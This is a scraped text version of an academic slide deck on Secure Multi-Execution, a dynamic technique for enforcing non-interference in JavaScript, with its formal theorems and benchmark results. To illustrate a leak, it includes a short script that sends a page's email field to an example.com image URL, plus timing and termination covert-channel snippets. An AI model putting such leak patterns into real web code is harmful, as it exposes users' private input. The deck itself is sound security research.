Secure Multi-Execution Dominique Devriese Frank Piessens - - PowerPoint PPT Presentation

secure multi execution
SMART_READER_LITE
LIVE PREVIEW

Secure Multi-Execution Dominique Devriese Frank Piessens - - PowerPoint PPT Presentation

Secure Multi-Execution Dominique Devriese Frank Piessens K.U.Leuven May 14, 2010 Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 1 / 24 Secure Multi-Execution Outline Secure Multi-Execution


slide-1
SLIDE 1

Secure Multi-Execution

Dominique Devriese Frank Piessens

K.U.Leuven

May 14, 2010

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 1 / 24

slide-2
SLIDE 2

Secure Multi-Execution

Outline

Secure Multi-Execution Introduction Informal Overview Formal Properties Experimental Results Conclusion

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 2 / 24

slide-3
SLIDE 3

Secure Multi-Execution Introduction

Introduction

◮ Information Flow Analysis has received much attention:

◮ Static analysis methods:

From Denning to JFlow/JIF and FlowCaml But:

◮ Substantial Programmer Effort ◮ In general undecidable statically ◮ Hard to handle exceptions, parallellism, timing covert channel ◮ Dynamic methods:

Many practical but unsound methods, some sound and somewhat practical methods But:

◮ Some use cases require sound methods (e.g. web page scripts) ◮ No existing monitor can precisely enforce non-interference ◮ Hard to handle exceptions, parallellism, timing covert channel Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 3 / 24

slide-4
SLIDE 4

Secure Multi-Execution Introduction

Secure Multi-Execution

Secure Multi-Execution

◮ A novel dynamic enforcement technique for non-interference ◮ Nice theoretical properties

◮ Strong soundness guarantee ◮ The first (afawk) sound and precise enforcement method

◮ Practical in some scenario’s

◮ Performance measurements ◮ Browser implementation possible? Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 4 / 24

slide-5
SLIDE 5

Secure Multi-Execution Informal Overview

Outline

Secure Multi-Execution Introduction Informal Overview Formal Properties Experimental Results Conclusion

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 5 / 24

slide-6
SLIDE 6

Secure Multi-Execution Informal Overview

Information Flow Analysis

1 var text = document.getElementById 2

(’email-input’).text;

3 var abc = 0; 4 if(text.indexOf(’abc’)!=-1) { abc = 1 }; 5 var url = ’http://example.com/img.jpg’ 6

+ ’?t=’ + escape(text) + abc;

7 document.getElementById(’banner-img’) 8

.src = url;

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 6 / 24

slide-7
SLIDE 7

Secure Multi-Execution Informal Overview

Information Flow Analysis

1 var text = document.getElementById 2

(’email-input’).text;

3 var abc = 0; 4 if(text.indexOf(’abc’)!=-1) { abc = 1 }; 5 var url = ’http://example.com/img.jpg’ 6

+ ’?t=’ + escape(text) + abc;

7 document.getElementById(’banner-img’) 8

.src = url; Input at level H Output at level L

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 6 / 24

slide-8
SLIDE 8

Secure Multi-Execution Informal Overview

Timing Covert Channel

1 function time(f) { 2

var t = new Date().getTime();

3

f();

4

return new Date().getTime() - t;

5 } 6 function f() { 7

if(abc != 0) {

8

for(var i = 0; i < 10000; ++i) {}

9

}

10 } 11 var abcLo = 0 12 if(time(f) > 10) { 13

abcLo = 1;

14 } Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 7 / 24

slide-9
SLIDE 9

Secure Multi-Execution Informal Overview

Termination Covert Channel

1 while(abc == 0) {} 2 img.url = ’http://example.com/img.jpg’; Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 8 / 24

slide-10
SLIDE 10

Secure Multi-Execution Informal Overview

Secure Multi-Execution

1 var t = (...).text 2 var abc = 0 3 if(t.indexOf(’abc’)!=-1) 4

{ abc = 1 }

5 var url = baseUrl + ’?t=’ 6

+ escape(t) + abc

7 (...).src = url

L

1 var t = (...).text 2 var abc = 0 3 if(t.indexOf(’abc’)!=-1) 4

{ abc = 1 }

5 var url = baseUrl + ’?t=’ 6

+ escape(t) + abc

7 (...).src = url

H

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 9 / 24

slide-11
SLIDE 11

Secure Multi-Execution Informal Overview

Secure Multi-Execution

1 var t = (...).text 2 var abc = 0 3 if(t.indexOf(’abc’)!=-1) 4

{ abc = 1 }

5 var url = baseUrl + ’?t=’ 6

+ escape(t) + abc

7 (...).src = url

L undefined

1 var t = (...).text 2 var abc = 0 3 if(t.indexOf(’abc’)!=-1) 4

{ abc = 1 }

5 var url = baseUrl + ’?t=’ 6

+ escape(t) + abc

7 (...).src = url

H

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 9 / 24

slide-12
SLIDE 12

Secure Multi-Execution Informal Overview

Secure Multi-Execution

1 var t = (...).text 2 var abc = 0 3 if(t.indexOf(’abc’)!=-1) 4

{ abc = 1 }

5 var url = baseUrl + ’?t=’ 6

+ escape(t) + abc

7 (...).src = url

L undefined

1 var t = (...).text 2 var abc = 0 3 if(t.indexOf(’abc’)!=-1) 4

{ abc = 1 }

5 var url = baseUrl + ’?t=’ 6

+ escape(t) + abc

7 (...).src = url

H

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 9 / 24

slide-13
SLIDE 13

Secure Multi-Execution Informal Overview

Input Side Effects

1 var t = (...).text 2 var c = window.confirm 3 if( c("Send e-mail?") ) 4

{ (...) }

5 var abc = 0 6 if(t.indexOf(’abc’)!=-1) 7

{ abc = 1 }

8 var url = baseUrl + ’?t=’ 9

+ escape(t) + abc

10 (...).src = url

L undefined

1 var t = (...).text 2 var c = window.confirm 3 if( c("Send e-mail?") ) 4

{ (...) }

5 var abc = 0 6 if(t.indexOf(’abc’)!=-1) 7

{ abc = 1 }

8 var url = baseUrl + ’?t=’ 9

+ escape(t) + abc

10 (...).src = url

H

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 10 / 24

slide-14
SLIDE 14

Secure Multi-Execution Informal Overview

Input Side Effects

1 var t = (...).text 2 var c = window.confirm 3 if( c("Send e-mail?") ) 4

{ (...) }

5 var abc = 0 6 if(t.indexOf(’abc’)!=-1) 7

{ abc = 1 }

8 var url = baseUrl + ’?t=’ 9

+ escape(t) + abc

10 (...).src = url

L undefined

1 var t = (...).text 2 var c = window.confirm 3 if( c("Send e-mail?") ) 4

{ (...) }

5 var abc = 0 6 if(t.indexOf(’abc’)!=-1) 7

{ abc = 1 }

8 var url = baseUrl + ’?t=’ 9

+ escape(t) + abc

10 (...).src = url

H

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 10 / 24

slide-15
SLIDE 15

Secure Multi-Execution Informal Overview

Secure Multi-Execution

Properties

◮ “Obviously” sound:

Only execution at high level can see the real high inputs Only execution at low level can produce low outputs

◮ “Obviously” precise:

If a program is non-interferent, then changing high inputs in low executions will not change their low behaviour

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 11 / 24

slide-16
SLIDE 16

Secure Multi-Execution Formal Properties

Outline

Secure Multi-Execution Introduction Informal Overview Formal Properties Experimental Results Conclusion

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 12 / 24

slide-17
SLIDE 17

Secure Multi-Execution Formal Properties

Non-interference

A formalization of information flow policies

Assume:

◮ sets of input channels Ci, output channels Co ◮ security level lattice L ◮ σin : Ci → L, σout : Co → L ◮ inputs I : Ci → (N → Int), outputs O : Co → List[Int] ◮ I =l I ′ iff I(ci) = I ′(ci) for all ci such that σin(ci) ≤ l

Definition

A program P is (termination-insensitively) non-interferent if for all security levels l and inputs I =l I ′, where P terminates for I and I ′ with outputs O and O′, we have that O =l O′.

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 13 / 24

slide-18
SLIDE 18

Secure Multi-Execution Formal Properties

Soundness

Definition (Strong non-interference)

A program P is timing-sensitively non-interferent or strongly non-interferent with relation to a given semantics ֒ →∗ if for all security levels l ∈ L, for all n ≥ 0, for all program inputs I and I ′ such that I =l I ′ holds that if (P, I) ֒ →n (p, O) , then

  • P, I ′

֒ →n p′, O′ , and p′ =l p and O′ =l O.

Theorem (Soundness of Secure Multi-Execution)

Any program P is strongly non-interferent under secure multi-execution, using the selectlowprio scheduler function.

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 14 / 24

slide-19
SLIDE 19

Secure Multi-Execution Formal Properties

Precision

Theorem (Precision of Secure Multi-Execution)

Suppose we have a (termination-sensitively) non-interferent program P. Suppose that (P, I) ∗ (p, O) (terminates) for some I, p and O. Then (P, I) =⊲∗ (p, O) .

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 15 / 24

slide-20
SLIDE 20

Secure Multi-Execution Experimental Results

Outline

Secure Multi-Execution Introduction Informal Overview Formal Properties Experimental Results Conclusion

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 16 / 24

slide-21
SLIDE 21

Secure Multi-Execution Experimental Results

Experimental Results

◮ Spidermonkey Javascript engine, no real browser ◮ 2 security levels ◮ Dual-core PC ◮ 3 types of execution:

◮ Standard execution ◮ Serial Multi-Execution ◮ Parallel Multi-Execution

◮ Benchmarks:

◮ Google Chrome V8 Benchmark Suite: crypto, deltablue, earley-boyer,

raytrace, regexp, richards, splay

◮ io: model I/O functions: hi input, hi output, lo input, lo output: some

calculations + I/O at different security levels

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 17 / 24

slide-22
SLIDE 22

Secure Multi-Execution Experimental Results

IO Benchmark

1 for (var i = 0; i < 100; ++i) { 2

var test = 0;

3

for (var j = 0; j < 10000; ++j) {

4

test += j;

5

}

6

if (i % 10 == 0) {

7

var hi_in = hi_input();

8

var lo_in = lo_input();

9

lo_output("#" + i + ". lo_in: ’"

10

+ lo_in + "’. hi_in is: ’"

11

+ hi_in + "’");

12

hi_output("#" + i + ". hi_in: ’"

13

+ hi_in + "’. lo_in is: ’"

14

+ lo_in +"’");

15

}

16 } Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 18 / 24

slide-23
SLIDE 23

Secure Multi-Execution Experimental Results

Experimental Results: Memory Usage

0% 50% 100% 150% 200% c r y p t

  • d

e l t a b l u e e a r l e y

  • b
  • y

e r r a y t r a c e r e g e x p r i c h a r d s s p l a y i

  • Memory Usage

Normal Execution Serial Multi-Execution Parallel Multi-Execution

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 19 / 24

slide-24
SLIDE 24

Secure Multi-Execution Experimental Results

Experimental Results: Execution Time

0% 50% 100% 150% 200% c r y p t

  • d

e l t a b l u e e a r l e y

  • b
  • y

e r r a y t r a c e r e g e x p r i c h a r d s s p l a y i

  • Execution Time

Normal Execution Serial Multi-Execution Parallel Multi-Execution

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 20 / 24

slide-25
SLIDE 25

Secure Multi-Execution Experimental Results

Automatic parallellization

1 for (var i = 0; i < 100; ++i) { 2

var test = 0;

3

for (var j = 0; j < 10000; ++j) {

4

test += j;

5

}

6

if (i % 10 == 0) {

7

var hi_in = hi_input();

8

var lo_in = lo_input();

9

lo_output("#" + i + ". lo_in: ’"

10

+ lo_in + "’. hi_in is: ’"

11

+ hi_in + "’");

12

hi_output("#" + i + ". hi_in: ’"

13

+ hi_in + "’. lo_in is: ’"

14

+ lo_in +"’");

15

}

16 }

Latency Latency Latency Latency

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 21 / 24

slide-26
SLIDE 26

Secure Multi-Execution Experimental Results

Automatic parallellization

1 for (var i = 0; i < 100; ++i) { 2

var test = 0;

3

for (var j = 0; j < 10000; ++j) {

4

test += j;

5

}

6

if (i % 10 == 0) {

7

var hi_in = hi_input();

8

var lo_in = lo_input();

9

lo_output("#" + i + ". lo_in: ’"

10

+ lo_in + "’. hi_in is: ’"

11

+ hi_in + "’");

12

hi_output("#" + i + ". hi_in: ’"

13

+ hi_in + "’. lo_in is: ’"

14

+ lo_in +"’");

15

}

16 }

L H Skip Latency Latency Reuse Skip Latency Latency Skip

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 21 / 24

slide-27
SLIDE 27

Secure Multi-Execution Conclusion

Outline

Secure Multi-Execution Introduction Informal Overview Formal Properties Experimental Results Conclusion

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 22 / 24

slide-28
SLIDE 28

Secure Multi-Execution Conclusion

The technique’s merits

Advantages: Very strong Soundness guarantee Very general No fundamental issues with parallellism, exceptions or other language features Good precision No change for (termination-sensitively) non-interferent programs Acceptable imprecision Interferent executions are modified in acceptable way (intuitive, no formalisation...) Dynamic Run-time assignment of I/O channels to security levels Downsides: Performance Acceptable for some use cases?

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 23 / 24

slide-29
SLIDE 29

Secure Multi-Execution Conclusion

Thank you for your attention.

Any questions?

Dominique Devriese, Frank Piessens (K.U.Leuven) Secure Multi-Execution May 14, 2010 24 / 24